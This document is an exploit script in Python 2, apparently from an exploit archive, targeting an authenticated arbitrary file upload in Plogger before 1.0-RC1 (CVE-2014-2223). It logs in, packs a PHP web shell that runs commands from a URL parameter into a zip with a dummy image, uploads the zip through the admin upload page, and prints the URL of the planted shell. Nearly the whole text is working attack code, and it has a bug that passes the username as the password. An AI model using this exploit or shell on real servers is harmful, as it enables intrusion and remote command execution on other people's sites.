Plogger 1.0-RC1 – (Authenticated) Arbitrary File Upload
#!/usr/bin/env python # Exploit Title: Plogger Authenticated Arbitrary File Upload # Date: Feb 2014 # Exploit Author: b0z # Vendor Homepage: www.plogger.org # Software Link: www.plogger.org/download # Version: Plogger prior to 1.0-RC1 # CVE : 2014-2223 import hashlib import os import zipfile import requests import time import argparse def login(session,host,username,password): print "[+] Log in" session.post('http://%s/plog-admin/plog-upload.php' % host, data={ "plog_username": username, "plog_password": password, "action": "log_in" }) def upload(session): print "[+] Creating poisoned gift" ## Write the backdoor backdoor = open(magic + '.php', 'w+', buffering = 0) backdoor.write("<?php system($_GET['cmd']) ?>") backdoor.close # Add true image file to block the race condition (mandatory not null) image = open(magic + '.png', 'w+', buffering = 0) image.write('A') image.close gift = zipfile.ZipFile(magic + '.zip', mode = 'w') gift.write(magic + '.php') gift.write(magic + '.png') gift.close os.remove(magic + '.php') os.remove(magic + '.png') gift = open(magic + '.zip', 'rb') files= { "userfile": ("archive.zip", gift)} session.post('http://%s/plog-admin/plog-upload.php' % host, files=files, data = { "destination_radio":"existing", "albums_menu" : "1", "new_album_name":"", "collections_menu":"1", "upload":"Upload" }) os.remove(magic + '.zip') print '[+] Here we go ==> http://%s/plog-content/uploads/archive/%s.php' % (host,magic) if __name__== "__main__": parser = argparse.ArgumentParser() parser.add_argument("--host" , help="Remote host",required=True) parser.add_argument("--user" , help="Username",required=True) parser.add_argument("--password" , help="Password",required=True) args = parser.parse_args() host = args.host username = args.user password = args.user magic = hashlib.sha1(time.asctime()).hexdigest() session = requests.session() login(session,host,username,password) upload(session) |